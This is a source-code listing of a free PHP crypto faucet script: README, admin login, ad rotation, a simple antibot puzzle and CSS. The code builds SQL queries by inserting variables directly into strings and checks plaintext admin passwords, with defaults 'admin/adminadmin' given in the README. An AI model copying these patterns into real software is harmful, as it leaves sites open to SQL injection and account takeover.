├── README.md ├── admin.php ├── ads.php ├── adsshow.php ├── antibot.php ├── asset ├── css │ ├── adminstyle.css │ ├── style.css │ └── stylemain.css ├── frame │ ├── frameadvertising.php │ ├── framebody.php │ └── framepage.php └── img │ ├── Thumbs.db │ ├── Untitled-1.psd │ ├── bch.png │ ├── bitcoin.gif │ ├── bnb.png │ ├── btc.png │ ├── dash.png │ ├── dgb.png │ ├── doge.png │ ├── download.png │ ├── eth.png │ ├── facebook.png │ ├── faucetpay.gif │ ├── fey.png │ ├── g.png │ ├── linkin.png │ ├── ltc.png │ ├── mail.png │ ├── payeer.gif │ ├── prat.png │ ├── sol.png │ ├── titleimg.png │ ├── trx.png │ ├── tumbir.png │ ├── twitter.png │ ├── usdt.png │ ├── xrp.png │ ├── youradshere.jpg │ ├── youradshere.png │ └── zec.png ├── back.php ├── backcolor.php ├── bannerrotrate.php ├── captchareward.php ├── checkdelet.php ├── faucetearn.php ├── faucetmaster.php ├── index.php ├── install.php ├── libs ├── balanceshow.php ├── database.php ├── expresscrypto.library.php ├── faucethub.php ├── faucetpay.library.php ├── ipaddress.php ├── microwallet.library.php └── solvemedialib.php ├── proxycheck.php ├── readme first.txt ├── reptads.php ├── requestwebsit.php └── reward.php /README.md: -------------------------------------------------------------------------------- 1 | Installation:-> 2 | 3 | 4 | Unzipped the download zip file. 5 | Go to your webhost and create a new database called "faucet". 6 | upload public folder's all files and folders to your host's public_hrml folder. 7 | 8 | Open labs/Database.php files and edit the deatails of files with your database credits (database name,database username,database password). 9 | Open install.php page. When install complete delete install.php file. 10 | 11 | Admin:-> 12 | 13 | Open admin.php and type username: admin and password: adminadmin. Change password 'adminamin' to own password and save the file. 14 | 15 | Features:-> 16 | 17 | => Easy to move your faucet, just download all files and upload. 18 | => Advanced Proxy and VPN blocker. 19 | => Anti-adblocker. 20 | => Quick blocking if captcha is incorrect for 4 times. 21 | => Countdown Timer added. 22 | => Captcha type: ReCaptcha , Solvemedia and Hcaptcha. 23 | => Shortlink service ( Click Per IP ) and ( direct and indirect run ). 24 | => Automatically change ads when page load. 25 | => Modern Antibot with ( On / Off ). 26 | 27 | 28 | Demo:-> 29 | 30 | A demo is avaible: https://btcearns.xyz 31 | 32 | Help:-> 33 | 34 | 35 | If you think this script is good, please send some money to my account. 36 | 37 | BTC => 1LEYrV8rbSe8xtTSex1eoanSz9KgJuLkik 38 | DOGE => D6p38KP7YyfmdTRSpLJPD721ZB25LnngHo 39 | 40 | This script is completely free. 41 | But please don't remove the Donate and download script link. 42 | 43 | 44 | Support:-> 45 | 46 | 47 | If you facing any problem to set your faucet site, Comments with your problems below my post on blogger I'll happy to solve your problems. 48 | 49 | If you want to edit the script feel free to do so but carefully otherwise faucet will mis behave. 50 | 51 | Thanks. 52 | -------------------------------------------------------------------------------- /admin.php: -------------------------------------------------------------------------------- 1 | query("SELECT * FROM settings WHERE id = '48'")->fetch_object()->value; 14 | $passwordc = $mysqli->query("SELECT * FROM settings WHERE id = '49'")->fetch_object()->value; 15 | if ($usernamec == $_POST["user_name"] and $passwordc == $_POST["password"]) { 16 | $_SESSION["loggedin"] = $usernamec; 17 | header('Location: faucetmaster.php'); 18 | exit; 19 | }else{ 20 | $errorp = "Invalid Username or Password!"; 21 | }}} 22 | ?> 23 | 24 | 25 | 26 | 27 | 28 | query("SELECT * FROM settings WHERE id = '1'")->fetch_object()->value; 31 | $sitedesrip = $mysqli->query("SELECT * FROM settings WHERE id = '2'")->fetch_object()->value; 32 | ?> 33 | <?php echo $titalname. ' - ' .$sitedesrip?> 34 | 35 | 36 |
37 |
40 |
41 |
42 |

Login

43 |
44 | 45 | 46 | 47 | 48 |
49 |
50 |
51 | 57 | 58 | -------------------------------------------------------------------------------- /ads.php: -------------------------------------------------------------------------------- 1 | 11 | 18 |
19 |
20 | Increase traffic of your website. 21 |
Increase traffic of your website. Many Website see your ads.
22 |
23 |
24 | $totalv) { 34 | $queryfaucetdel = "DELETE FROM pendwebs where websecord='$webcode'"; 35 | $resultsam = mysqli_query($mysqli, $queryfaucetdel); 36 | $queryfaucetdel = "DELETE FROM banners where secucode='$webcode'"; 37 | $resultsam = mysqli_query($mysqli, $queryfaucetdel); 38 | } 39 | ?> 40 | 47 |
48 |
49 | " target="_blank" class='disptextadsth'> 50 |

51 | 52 |
53 |
54 | 57 | 64 |
65 |
66 | Free Traffic Exchange 67 |
Increase traffic of your website. Many Website see your ads.
68 |
69 |
70 | -------------------------------------------------------------------------------- /adsshow.php: -------------------------------------------------------------------------------- 1 | query("SELECT * FROM banners order by RAND() limit 1")->fetch_object()->bannersize; 3 | $changeads = $bannerrand; 4 | if ($changeads == "120x60") { 5 | $sqlre120x60 = "SELECT * FROM reptads where repads='120x60'"; 6 | $resultre120x60 = mysqli_query($mysqli, $sqlre120x60); 7 | $myrowre120x60 = mysqli_fetch_array($resultre120x60); 8 | $reportnumrot120x60 = $myrowre120x60["numberr"]; 9 | $sqlban120x60 = "SELECT * FROM banners where bannersize='120x60' LIMIT $reportnumrot120x60,1"; 10 | $resultban120x60 = mysqli_query($mysqli, $sqlban120x60); 11 | $myrowban120x60 = mysqli_fetch_array($resultban120x60); 12 | $myrowban120x60 = $myrowban120x60["fbanercode"]; 13 | $bannerrot = $myrowban120x60; 14 | if ($reportnumrot120x60 >= $totalrecord120x60-1) { 15 | $queryreu120x60 = "UPDATE reptads Set numberr = '0' where repads='120x60'"; 16 | $resultreu120x60 = mysqli_query($mysqli, $queryreu120x60); 17 | }else{ 18 | $numberr120x60 = $myrowre120x60["numberr"]+1; 19 | $queryreu120x60 = "UPDATE reptads Set numberr = '$numberr120x60' where repads='120x60'"; 20 | $resultreu120x60 = mysqli_query($mysqli, $queryreu120x60); 21 | } 22 | $bannerwidth = "width:392px"; 23 | }elseif ($changeads == "120x90") { 24 | $sqlre120x90 = "SELECT * FROM reptads where repads='120x90'"; 25 | $resultre120x90 = mysqli_query($mysqli, $sqlre120x90); 26 | $myrowre120x90 = mysqli_fetch_array($resultre120x90); 27 | $reportnumrot120x90 = $myrowre120x90["numberr"]; 28 | $sqlban120x90 = "SELECT * FROM banners where bannersize='120x90' LIMIT $reportnumrot120x90,1"; 29 | $resultban120x90 = mysqli_query($mysqli, $sqlban120x90); 30 | $myrowban120x90 = mysqli_fetch_array($resultban120x90); 31 | $myrowban120x90 = $myrowban120x90["fbanercode"]; 32 | $bannerrot = $myrowban120x90; 33 | if ($reportnumrot120x90 >= $totalrecord120x90-1) { 34 | $queryreu120x90 = "UPDATE reptads Set numberr = '0' where repads='120x90'"; 35 | $resultreu120x90 = mysqli_query($mysqli, $queryreu120x90); 36 | }else{ 37 | $numberr120x90 = $myrowre120x90["numberr"]+1; 38 | $queryreu120x90 = "UPDATE reptads Set numberr = '$numberr120x90' where repads='120x90'"; 39 | $resultreu120x90 = mysqli_query($mysqli, $queryreu120x90); 40 | } 41 | $bannerwidth = "width:392px"; 42 | }elseif ($changeads == "120x240") { 43 | $sqlre120x240 = "SELECT * FROM reptads where repads='120x240'"; 44 | $resultre120x240 = mysqli_query($mysqli, $sqlre120x240); 45 | $myrowre120x240 = mysqli_fetch_array($resultre120x240); 46 | $reportnumrot120x240 = $myrowre120x240["numberr"]; 47 | $sqlban120x240 = "SELECT * FROM banners where bannersize='120x240' LIMIT $reportnumrot120x240,1"; 48 | $resultban120x240 = mysqli_query($mysqli, $sqlban120x240); 49 | $myrowban120x240 = mysqli_fetch_array($resultban120x240); 50 | $myrowban120x240 = $myrowban120x240["fbanercode"]; 51 | $bannerrot = $myrowban120x240; 52 | if ($reportnumrot120x240 >= $totalrecord120x240-1) { 53 | $queryreu120x240 = "UPDATE reptads Set numberr = '0' where repads='120x240'"; 54 | $resultreu120x240 = mysqli_query($mysqli, $queryreu120x240); 55 | }else{ 56 | $numberr120x240 = $myrowre120x240["numberr"]+1; 57 | $queryreu120x240 = "UPDATE reptads Set numberr = '$numberr120x240' where repads='120x240'"; 58 | $resultreu120x240 = mysqli_query($mysqli, $queryreu120x240); 59 | } 60 | $bannerwidth = "width:392px;margin:6px auto;"; 61 | }elseif ($changeads == "120x600") { 62 | $sqlre120x600 = "SELECT * FROM reptads where repads='120x600'"; 63 | $resultre120x600 = mysqli_query($mysqli, $sqlre120x600); 64 | $myrowre120x600 = mysqli_fetch_array($resultre120x600); 65 | $reportnumrot120x600 = $myrowre120x600["numberr"]; 66 | $sqlban120x600 = "SELECT * FROM banners where bannersize='120x600' LIMIT $reportnumrot120x600,1"; 67 | $resultban120x600 = mysqli_query($mysqli, $sqlban120x600); 68 | $myrowban120x600 = mysqli_fetch_array($resultban120x600); 69 | $myrowban120x600 = $myrowban120x600["fbanercode"]; 70 | $bannerrot = $myrowban120x600; 71 | if ($reportnumrot120x600 >= $totalrecord120x600-1) { 72 | $queryreu120x600 = "UPDATE reptads Set numberr = '0' where repads='120x600'"; 73 | $resultreu120x600 = mysqli_query($mysqli, $queryreu120x600); 74 | }else{ 75 | $numberr120x600 = $myrowre120x600["numberr"]+1; 76 | $queryreu120x600 = "UPDATE reptads Set numberr = '$numberr120x600' where repads='120x600'"; 77 | $resultreu120x600 = mysqli_query($mysqli, $queryreu120x600); 78 | } 79 | $bannerwidth = "width:392px;margin:6px auto;"; 80 | }elseif ($changeads == "125x125") { 81 | $sqlre125x125 = "SELECT * FROM reptads where repads='125x125'"; 82 | $resultre125x125 = mysqli_query($mysqli, $sqlre125x125); 83 | $myrowre125x125 = mysqli_fetch_array($resultre125x125); 84 | $reportnumrot125x125 = $myrowre125x125["numberr"]; 85 | $sqlban125x125 = "SELECT * FROM banners where bannersize='125x125' LIMIT $reportnumrot125x125,1"; 86 | $resultban125x125 = mysqli_query($mysqli, $sqlban125x125); 87 | $myrowban125x125 = mysqli_fetch_array($resultban125x125); 88 | $myrowban125x125 = $myrowban125x125["fbanercode"]; 89 | $bannerrot = $myrowban125x125; 90 | if ($reportnumrot125x125 >= $totalrecord125x125-1) { 91 | $queryreu125x125 = "UPDATE reptads Set numberr = '0' where repads='125x125'"; 92 | $resultreu125x125 = mysqli_query($mysqli, $queryreu125x125); 93 | }else{ 94 | $numberr125x125 = $myrowre125x125["numberr"]+1; 95 | $queryreu125x125 = "UPDATE reptads Set numberr = '$numberr125x125' where repads='125x125'"; 96 | $resultreu125x125 = mysqli_query($mysqli, $queryreu125x125); 97 | } 98 | $bannerwidth = "width:392px"; 99 | }elseif ($changeads == "160x600") { 100 | $sqlre160x600 = "SELECT * FROM reptads where repads='160x600'"; 101 | $resultre160x600 = mysqli_query($mysqli, $sqlre160x600); 102 | $myrowre160x600 = mysqli_fetch_array($resultre160x600); 103 | $reportnumrot160x600 = $myrowre160x600["numberr"]; 104 | $sqlban160x600 = "SELECT * FROM banners where bannersize='160x600' LIMIT $reportnumrot160x600,1"; 105 | $resultban160x600 = mysqli_query($mysqli, $sqlban160x600); 106 | $myrowban160x600 = mysqli_fetch_array($resultban160x600); 107 | $myrowban160x600 = $myrowban160x600["fbanercode"]; 108 | $bannerrot = $myrowban160x600; 109 | if ($reportnumrot160x600 >= $totalrecord160x600-1) { 110 | $queryreu160x600 = "UPDATE reptads Set numberr = '0' where repads='160x600'"; 111 | $resultreu160x600 = mysqli_query($mysqli, $queryreu160x600); 112 | }else{ 113 | $numberr160x600 = $myrowre160x600["numberr"]+1; 114 | $queryreu160x600 = "UPDATE reptads Set numberr = '$numberr160x600' where repads='160x600'"; 115 | $resultreu160x600 = mysqli_query($mysqli, $queryreu160x600); 116 | } 117 | $bannerwidth = "width:392px;margin:6px auto;"; 118 | }elseif ($changeads == "200x200") { 119 | $sqlre200x200 = "SELECT * FROM reptads where repads='200x200'"; 120 | $resultre200x200 = mysqli_query($mysqli, $sqlre200x200); 121 | $myrowre200x200 = mysqli_fetch_array($resultre200x200); 122 | $reportnumrot200x200 = $myrowre200x200["numberr"]; 123 | $sqlban200x200 = "SELECT * FROM banners where bannersize='200x200' LIMIT $reportnumrot200x200,1"; 124 | $resultban200x200 = mysqli_query($mysqli, $sqlban200x200); 125 | $myrowban200x200 = mysqli_fetch_array($resultban200x200); 126 | $myrowban200x200 = $myrowban200x200["fbanercode"]; 127 | $bannerrot = $myrowban200x200; 128 | if ($reportnumrot200x200 >= $totalrecord200x200-1) { 129 | $queryreu200x200 = "UPDATE reptads Set numberr = '0' where repads='200x200'"; 130 | $resultreu200x200 = mysqli_query($mysqli, $queryreu200x200); 131 | }else{ 132 | $numberr200x200 = $myrowre200x200["numberr"]+1; 133 | $queryreu200x200 = "UPDATE reptads Set numberr = '$numberr200x200' where repads='200x200'"; 134 | $resultreu200x200 = mysqli_query($mysqli, $queryreu200x200); 135 | } 136 | $bannerwidth = "width:392px"; 137 | }elseif ($changeads == "240x400") { 138 | $sqlre240x400 = "SELECT * FROM reptads where repads='240x400'"; 139 | $resultre240x400 = mysqli_query($mysqli, $sqlre240x400); 140 | $myrowre240x400 = mysqli_fetch_array($resultre240x400); 141 | $reportnumrot240x400 = $myrowre240x400["numberr"]; 142 | $sqlban240x400 = "SELECT * FROM banners where bannersize='240x400' LIMIT $reportnumrot240x400,1"; 143 | $resultban240x400 = mysqli_query($mysqli, $sqlban240x400); 144 | $myrowban240x400 = mysqli_fetch_array($resultban240x400); 145 | $myrowban240x400 = $myrowban240x400["fbanercode"]; 146 | $bannerrot = $myrowban240x400; 147 | if ($reportnumrot240x400 >= $totalrecord240x400-1) { 148 | $queryreu240x400 = "UPDATE reptads Set numberr = '0' where repads='240x400'"; 149 | $resultreu240x400 = mysqli_query($mysqli, $queryreu240x400); 150 | }else{ 151 | $numberr240x400 = $myrowre240x400["numberr"]+1; 152 | $queryreu240x400 = "UPDATE reptads Set numberr = '$numberr240x400' where repads='240x400'"; 153 | $resultreu240x400 = mysqli_query($mysqli, $queryreu240x400); 154 | } 155 | $bannerwidth = "width:392px;margin:80px auto;"; 156 | }elseif ($changeads == "250x250") { 157 | $sqlre250x250 = "SELECT * FROM reptads where repads='250x250'"; 158 | $resultre250x250 = mysqli_query($mysqli, $sqlre250x250); 159 | $myrowre250x250 = mysqli_fetch_array($resultre250x250); 160 | $reportnumrot250x250 = $myrowre250x250["numberr"]; 161 | $sqlban250x250 = "SELECT * FROM banners where bannersize='250x250' LIMIT $reportnumrot250x250,1"; 162 | $resultban250x250 = mysqli_query($mysqli, $sqlban250x250); 163 | $myrowban250x250 = mysqli_fetch_array($resultban250x250); 164 | $myrowban250x250 = $myrowban250x250["fbanercode"]; 165 | $bannerrot = $myrowban250x250; 166 | if ($reportnumrot250x250 >= $totalrecord250x250-1) { 167 | $queryreu250x250 = "UPDATE reptads Set numberr = '0' where repads='250x250'"; 168 | $resultreu250x250 = mysqli_query($mysqli, $queryreu250x250); 169 | }else{ 170 | $numberr250x250 = $myrowre250x250["numberr"]+1; 171 | $queryreu250x250 = "UPDATE reptads Set numberr = '$numberr250x250' where repads='250x250'"; 172 | $resultreu250x250 = mysqli_query($mysqli, $queryreu250x250); 173 | } 174 | $bannerwidth = "width:392px"; 175 | }elseif ($changeads == "300x250") { 176 | $sqlre300x250 = "SELECT * FROM reptads where repads='300x250'"; 177 | $resultre300x250 = mysqli_query($mysqli, $sqlre300x250); 178 | $myrowre300x250 = mysqli_fetch_array($resultre300x250); 179 | $reportnumrot300x250 = $myrowre300x250["numberr"]; 180 | $sqlban300x250 = "SELECT * FROM banners where bannersize='300x250' LIMIT $reportnumrot300x250,1"; 181 | $resultban300x250 = mysqli_query($mysqli, $sqlban300x250); 182 | $myrowban300x250 = mysqli_fetch_array($resultban300x250); 183 | $myrowban300x250 = $myrowban300x250["fbanercode"]; 184 | $bannerrot = $myrowban300x250; 185 | if ($reportnumrot300x250 >= $totalrecord300x250-1) { 186 | $queryreu300x250 = "UPDATE reptads Set numberr = '0' where repads='300x250'"; 187 | $resultreu300x250 = mysqli_query($mysqli, $queryreu300x250); 188 | }else{ 189 | $numberr300x250 = $myrowre300x250["numberr"]+1; 190 | $queryreu300x250 = "UPDATE reptads Set numberr = '$numberr300x250' where repads='300x250'"; 191 | $resultreu300x250 = mysqli_query($mysqli, $queryreu300x250); 192 | } 193 | $bannerwidth = "width:392px"; 194 | }elseif ($changeads == "320x50") { 195 | $sqlre320x50 = "SELECT * FROM reptads where repads='320x50'"; 196 | $resultre320x50 = mysqli_query($mysqli, $sqlre320x50); 197 | $myrowre320x50 = mysqli_fetch_array($resultre320x50); 198 | $reportnumrot320x50 = $myrowre320x50["numberr"]; 199 | $sqlban320x50 = "SELECT * FROM banners where bannersize='320x50' LIMIT $reportnumrot320x50,1"; 200 | $resultban320x50 = mysqli_query($mysqli, $sqlban320x50); 201 | $myrowban320x50 = mysqli_fetch_array($resultban320x50); 202 | $myrowban320x50 = $myrowban320x50["fbanercode"]; 203 | $bannerrot = $myrowban320x50; 204 | if ($reportnumrot320x50 >= $totalrecord320x50-1) { 205 | $queryreu320x50 = "UPDATE reptads Set numberr = '0' where repads='320x50'"; 206 | $resultreu320x50 = mysqli_query($mysqli, $queryreu320x50); 207 | }else{ 208 | $numberr320x50 = $myrowre320x50["numberr"]+1; 209 | $queryreu320x50 = "UPDATE reptads Set numberr = '$numberr320x50' where repads='320x50'"; 210 | $resultreu320x50 = mysqli_query($mysqli, $queryreu320x50); 211 | } 212 | $bannerwidth = "width:392px;"; 213 | }elseif ($changeads == "468x15") { 214 | $sqlre468x15 = "SELECT * FROM reptads where repads='468x15'"; 215 | $resultre468x15 = mysqli_query($mysqli, $sqlre468x15); 216 | $myrowre468x15 = mysqli_fetch_array($resultre468x15); 217 | $reportnumrot468x15 = $myrowre468x15["numberr"]; 218 | $sqlban468x15 = "SELECT * FROM banners where bannersize='468x15' LIMIT $reportnumrot468x15,1"; 219 | $resultban468x15 = mysqli_query($mysqli, $sqlban468x15); 220 | $myrowban468x15 = mysqli_fetch_array($resultban468x15); 221 | $myrowban468x15 = $myrowban468x15["fbanercode"]; 222 | $bannerrot = $myrowban468x15; 223 | if ($reportnumrot468x15 >= $totalrecord468x15-1) { 224 | $queryreu468x15 = "UPDATE reptads Set numberr = '0' where repads='468x15'"; 225 | $resultreu468x15 = mysqli_query($mysqli, $queryreu468x15); 226 | }else{ 227 | $numberr468x15 = $myrowre468x15["numberr"]+1; 228 | $queryreu468x15 = "UPDATE reptads Set numberr = '$numberr468x15' where repads='468x15'"; 229 | $resultreu468x15 = mysqli_query($mysqli, $queryreu468x15); 230 | } 231 | $bannerwidth = "width:540px"; 232 | }elseif ($changeads == "468x60") { 233 | $sqlre468x60 = "SELECT * FROM reptads where repads='468x60'"; 234 | $resultre468x60 = mysqli_query($mysqli, $sqlre468x60); 235 | $myrowre468x60 = mysqli_fetch_array($resultre468x60); 236 | $reportnumrot468x60 = $myrowre468x60["numberr"]; 237 | $sqlban468x60 = "SELECT * FROM banners where bannersize='468x60' LIMIT $reportnumrot468x60,1"; 238 | $resultban468x60 = mysqli_query($mysqli, $sqlban468x60); 239 | $myrowban468x60 = mysqli_fetch_array($resultban468x60); 240 | $myrowban468x60 = $myrowban468x60["fbanercode"]; 241 | $bannerrot = $myrowban468x60; 242 | if ($reportnumrot468x60 >= $totalrecord468x60-1) { 243 | $queryreu468x60 = "UPDATE reptads Set numberr = '0' where repads='468x60'"; 244 | $resultreu468x60 = mysqli_query($mysqli, $queryreu468x60); 245 | }else{ 246 | $numberr468x60 = $myrowre468x60["numberr"]+1; 247 | $queryreu468x60 = "UPDATE reptads Set numberr = '$numberr468x60' where repads='468x60'"; 248 | $resultreu468x60 = mysqli_query($mysqli, $queryreu468x60); 249 | } 250 | $bannerwidth = "width:540px;"; 251 | }elseif ($changeads == "728x90") { 252 | $sqlre728x90 = "SELECT * FROM reptads where repads='728x90'"; 253 | $resultre728x90 = mysqli_query($mysqli, $sqlre728x90); 254 | $myrowre728x90 = mysqli_fetch_array($resultre728x90); 255 | $reportnumrot728x90 = $myrowre728x90["numberr"]; 256 | $sqlban728x90 = "SELECT * FROM banners where bannersize='728x90' LIMIT $reportnumrot728x90,1"; 257 | $resultban728x90 = mysqli_query($mysqli, $sqlban728x90); 258 | $myrowban728x90 = mysqli_fetch_array($resultban728x90); 259 | $myrowban728x90 = $myrowban728x90["fbanercode"]; 260 | $bannerrot = $myrowban728x90; 261 | if ($reportnumrot728x90 >= $totalrecord728x90-1) { 262 | $queryreu728x90 = "UPDATE reptads Set numberr = '0' where repads='728x90'"; 263 | $resultreu728x90 = mysqli_query($mysqli, $queryreu728x90); 264 | }else{ 265 | $numberr728x90 = $myrowre728x90["numberr"]+1; 266 | $queryreu728x90 = "UPDATE reptads Set numberr = '$numberr728x90' where repads='728x90'"; 267 | $resultreu728x90 = mysqli_query($mysqli, $queryreu728x90); 268 | } 269 | $bannerwidth = "width:800px"; 270 | }elseif ($changeads == "990x90") { 271 | $sqlre990x90 = "SELECT * FROM reptads where repads='990x90'"; 272 | $resultre990x90 = mysqli_query($mysqli, $sqlre990x90); 273 | $myrowre990x90 = mysqli_fetch_array($resultre990x90); 274 | $reportnumrot990x90 = $myrowre990x90["numberr"]; 275 | $sqlban990x90 = "SELECT * FROM banners where bannersize='990x90' LIMIT $reportnumrot990x90,1"; 276 | $resultban990x90 = mysqli_query($mysqli, $sqlban990x90); 277 | $myrowban990x90 = mysqli_fetch_array($resultban990x90); 278 | $myrowban990x90 = $myrowban990x90["fbanercode"]; 279 | $bannerrot = $myrowban990x90; 280 | if ($reportnumrot990x90 >= $totalrecord990x90-1) { 281 | $queryreu990x90 = "UPDATE reptads Set numberr = '0' where repads='990x90'"; 282 | $resultreu990x90 = mysqli_query($mysqli, $queryreu990x90); 283 | }else{ 284 | $numberr990x90 = $myrowre990x90["numberr"]+1; 285 | $queryreu990x90 = "UPDATE reptads Set numberr = '$numberr990x90' where repads='990x90'"; 286 | $resultreu990x90 = mysqli_query($mysqli, $queryreu990x90); 287 | } 288 | $bannerwidth = "width:1002px;padding: 20px 0 20px 0;"; 289 | } 290 | ?> -------------------------------------------------------------------------------- /antibot.php: -------------------------------------------------------------------------------- 1 | '008000', 'blue'=>'0000FF', 'red'=>'FF0000', 'orange'=>'FFA500', 'black'=>'000000', 'brown'=>'A52A2A', 'purple'=>'800080', 'gray'=>'808080', 'magenta'=>'FF00FF'); 3 | $word_universe[]=array('008000'=>'green', '0000FF'=>'blue', 'FF0000'=>'red', 'FFA500'=>'orange', '000000'=>'black', 'A52A2A'=>'brown', '800080'=>'purple', '808080'=>'gray', 'FF00FF'=>'magenta'); 4 | $word_universe[]=array('2*A'=>'AA', '3*A'=>'AAA', '2*B'=>'BB', '3*B'=>'BBB', '1*A+1*B'=>'AB', '1*A+2*B'=>'ABB', '2*A+2*B'=>'AABB', '2*C'=>'CC', '3*C'=>'CCC', '1*C+1*A'=>'CA', '1*C+1*B'=>'CB', '1*C+2*A'=>'CAA', '1*C+2*B'=>'CBB', '2*C+1*A'=>'CCA'); 5 | $word_universe[]=array('1'=>'one', '2'=>'two', '3'=>'three', '4'=>'four', '5'=>'five', '6'=>'six', '7'=>'seven', '8'=>'eight', '9'=>'nine', '10'=>'ten'); 6 | $word_universe[]=array('1'=>'I', '2'=>'II', '3'=>'III', '4'=>'IV', '5'=>'V', '6'=>'VI', '7'=>'VII', '8'=>'VIII', '9'=>'IX', '10'=>'X'); 7 | $randc = (rand(0,4)); 8 | $universe = $word_universe[$randc]; 9 | $random_keys_two=array_rand($universe, 4); 10 | function random_key($length) { 11 | $str = ""; 12 | $chars = "123456789"; 13 | $size = strlen( $chars ); 14 | for( $i = 0; $i < $length; $i++ ) { 15 | $str .= $chars[ rand( 0, $size - 1 ) ]; 16 | } 17 | return $str; 18 | } 19 | $coden = random_key(16); 20 | $capcode1 = substr($coden, 0, 4); 21 | $capcode2 = substr($coden, 4, 4); 22 | $capcode3 = substr($coden, 8, 4); 23 | $capcode4 = substr($coden, 12, 4); 24 | if ($randc == "0") { 25 | $showantibot = $random_keys_two[0] . " , " . $random_keys_two[1] . " , " . $random_keys_two[2] . " , " . $random_keys_two[3]; 26 | $arrX = array($universe[$random_keys_two[0]].$capcode1, $universe[$random_keys_two[1]].$capcode2, $universe[$random_keys_two[2]].$capcode3, $universe[$random_keys_two[3]].$capcode4); 27 | $randIndex = array_rand($arrX, 4); 28 | shuffle($randIndex); 29 | $color1 = substr($arrX[$randIndex[0]], 0, 6); 30 | $capcode1 = substr($arrX[$randIndex[0]], 6, 4); 31 | $color2 = substr($arrX[$randIndex[1]], 0, 6); 32 | $capcode2 = substr($arrX[$randIndex[1]], 6, 4); 33 | $color3 = substr($arrX[$randIndex[2]], 0, 6); 34 | $capcode3 = substr($arrX[$randIndex[2]], 6, 4); 35 | $color4 = substr($arrX[$randIndex[3]], 0, 6); 36 | $capcode4 = substr($arrX[$randIndex[3]], 6, 4); 37 | $antibot1 = "
 
"; 38 | $antibot2 = "
 
"; 39 | $antibot3 = "
 
"; 40 | $antibot4 = "
 
"; 41 | }elseif ($randc == "1") { 42 | $showantibot = "
 
,
 
,
 
,
 
"; 43 | $arrX = array($universe[$random_keys_two[0]].$capcode1, $universe[$random_keys_two[1]].$capcode2, $universe[$random_keys_two[2]].$capcode3, $universe[$random_keys_two[3]].$capcode4); 44 | $randIndex = array_rand($arrX, 4); 45 | shuffle($randIndex); 46 | $capcode1 = preg_replace('/[^0-9]/', '', $arrX[$randIndex[0]]); 47 | $color1 = ucfirst(preg_replace('/[^a-zA-Z]+/', '', $arrX[$randIndex[0]])); 48 | $capcode2 = preg_replace('/[^0-9]/', '', $arrX[$randIndex[1]]); 49 | $color2 = ucfirst(preg_replace('/[^a-zA-Z]+/', '', $arrX[$randIndex[1]])); 50 | $capcode3 = preg_replace('/[^0-9]/', '', $arrX[$randIndex[2]]); 51 | $color3 = ucfirst(preg_replace('/[^a-zA-Z]+/', '', $arrX[$randIndex[2]])); 52 | $capcode4 = preg_replace('/[^0-9]/', '', $arrX[$randIndex[3]]); 53 | $color4 = ucfirst(preg_replace('/[^a-zA-Z]+/', '', $arrX[$randIndex[3]])); 54 | $antibot1 = "
" . $color1 . "
"; 55 | $antibot2 = "
" . $color2 . "
"; 56 | $antibot3 = "
" . $color3 . "
"; 57 | $antibot4 = "
" . $color4 . "
"; 58 | }else{ 59 | $showantibot = $random_keys_two[0] . " , " . $random_keys_two[1] . " , " . $random_keys_two[2] . " , " . $random_keys_two[3]; 60 | $arrX = array($universe[$random_keys_two[0]].$capcode1, $universe[$random_keys_two[1]].$capcode2, $universe[$random_keys_two[2]].$capcode3, $universe[$random_keys_two[3]].$capcode4); 61 | $randIndex = array_rand($arrX, 4); 62 | shuffle($randIndex); 63 | $capcode1 = preg_replace('/[^0-9]/', '', $arrX[$randIndex[0]]); 64 | $color1 = preg_replace('/[^a-zA-Z]+/', '', $arrX[$randIndex[0]]); 65 | $capcode2 = preg_replace('/[^0-9]/', '', $arrX[$randIndex[1]]); 66 | $color2 = preg_replace('/[^a-zA-Z]+/', '', $arrX[$randIndex[1]]); 67 | $capcode3 = preg_replace('/[^0-9]/', '', $arrX[$randIndex[2]]); 68 | $color3 = preg_replace('/[^a-zA-Z]+/', '', $arrX[$randIndex[2]]); 69 | $capcode4 = preg_replace('/[^0-9]/', '', $arrX[$randIndex[3]]); 70 | $color4 = preg_replace('/[^a-zA-Z]+/', '', $arrX[$randIndex[3]]); 71 | $antibot1 = "
" . $color1 . "
"; 72 | $antibot2 = "
" . $color2 . "
"; 73 | $antibot3 = "
" . $color3 . "
"; 74 | $antibot4 = "
" . $color4 . "
"; 75 | } 76 | setcookie('anticodeaddress', $coden); 77 | ?> -------------------------------------------------------------------------------- /asset/css/adminstyle.css: -------------------------------------------------------------------------------- 1 | img[alt="www.000webhost.com"]{display:none;} 2 | body{ 3 | margin:0;padding:0; 4 | background:#D3C28E; 5 | font-family:'Open Sans',sans-serif; 6 | } 7 | .header { 8 | width: 100%; 9 | overflow: auto; 10 | background:#a88e42; 11 | border-bottom:1px solid #7d6a31; 12 | } 13 | #nav { 14 | width: 100%; 15 | float: left; 16 | padding: 0; 17 | color:#fff; 18 | text-shadow: 1px 1px black; 19 | list-style: none; 20 | background-color: #a88e42; 21 | } 22 | #nav li { 23 | float: left; } 24 | #nav li a { 25 | font-family:Georgia, serif; 26 | font-size:18px; 27 | display: block; 28 | padding: 8px 15px; 29 | text-decoration: none; 30 | color: #fff; 31 | } 32 | #nav li a:hover { 33 | color: #000; 34 | text-shadow: 1px 1px #fff; 35 | } 36 | #nav li a:hover, #nav .dropdown:hover #nav .dropbtn { 37 | cursor: pointer; 38 | } 39 | #nav .dropdown-content { 40 | display: none; 41 | position: absolute; 42 | background-color: #a88e42; 43 | min-width: 200px; 44 | box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.7); 45 | z-index: 1; 46 | } 47 | #nav .dropdown-content a { 48 | font-family:Georgia, serif; 49 | font-size:18px; 50 | color: #fff; 51 | padding: 12px 16px; 52 | text-decoration: none; 53 | display: block; 54 | text-align: left; 55 | } 56 | #nav .dropdown-content a:hover { 57 | color: #000; 58 | text-shadow: 1px 1px #fff; 59 | } 60 | #nav .dropdown:hover .dropdown-content { 61 | display: block; 62 | } 63 | .abody { 64 | margin:0 auto; 65 | } 66 | #login{ 67 | border:1px solid #000; 68 | background-color: #e0d5b1; 69 | width:400px; 70 | margin:0 auto; 71 | margin-top:10%; 72 | margin-bottom:18%; 73 | box-shadow: 1px 1px 4px 2px #999; 74 | } 75 | #triangle { 76 | font-family: arial, sans-serif; 77 | font-weight: bold; 78 | text-shadow: 1px 1px #000; 79 | background-color:#a88e42; 80 | border-bottom:1px solid #635427; 81 | padding:4% 4%; 82 | font-size:150%; 83 | color:#fff; 84 | } 85 | #triangle h1{ 86 | color: #fff; 87 | font-family:Georgia, 